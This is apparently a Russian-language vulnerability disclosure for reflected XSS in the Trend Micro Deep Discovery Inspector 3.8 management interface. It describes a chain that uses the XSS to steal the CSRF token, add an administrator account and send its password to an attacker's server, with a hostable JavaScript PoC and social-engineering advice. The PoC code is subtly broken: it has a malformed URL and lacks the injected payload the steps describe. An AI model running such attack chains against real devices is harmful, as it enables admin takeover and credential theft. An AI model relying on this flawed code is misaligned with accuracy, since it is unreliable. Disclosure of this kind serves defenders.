
Эксплойт proof-of-concept для отражённого XSS в Trend Micro Deep Discovery Inspector 3.8, позволяющий обойти CSRF и захватить учётную запись администратора через аутентифицированный веб-интерфейс.
Я обнаружил уязвимость отражённого межсайтового скриптинга (XSS) в веб-интерфейсе управления Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165. Уязвимый путь скрипта: /php/detection_detail_filter.php. Этот скрипт доступен только аутентифицированному пользователю, но это не снижает серьёзность уязвимости, учитывая сценарий атаки, описанный ниже.
https://PASTE_DDI_IP_HERE/php/detection_detail_filter.php?ips%5B%5D=217.69.139.245%3A80
Screen1.png подтверждает, что параметр ips[] уязвим для внедрения HTML-кода.
Эта уязвимость может быть использована для обхода защиты CSRF, получения CSRF-токена и успешного проведения CSRF-атаки. Возможен даже полный захват устройства Deep Discovery Inspector по следующему сценарию:
1. Пользователь, вошедший в веб-интерфейс DDI, заманивается на вредоносную веб-страницу.
2. Вредоносный скрипт на этой странице запускается с использованием XSS-уязвимости в /php/detection_detail_filter.php
3. Скрипт получает CSRF-токен через PUT-запрос к /wsgi/csrf/get_token/
4. Затем он использует токен, полученный из ответа на предыдущий запрос, чтобы добавить учётную запись с правами администратора.
5. Пароль для добавленной учётной записи извлекается из ответа на предыдущий запрос.
6. Пароль может быть передан на сервер атакующего через HTTP-запрос.
Screen2.png показывает атаку в действии.
Для воспроизведения атаки вы можете использовать следующий фрагмент кода (переменную ddi_ip следует изменить в соответствии с IP-адресом вашего устройства DDI):
<b>DDI PoC</b>
<script type="text/javascript">
function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", 'POST');
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
var ddi_ip = '192.168.91.66';
post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});
</script>
Этот PoC-код должен быть размещён на веб-сервере атакующего, а ссылка на этот сервер должна быть открыта пользователем (с правами администратора), вошедшим в веб-интерфейс DDI. Пользователя можно заманить к переходу по ссылке с помощью методов социальной инженерии.
Компания Trend Micro предоставила следующее решение: https://success.trendmicro.com/solution/1121079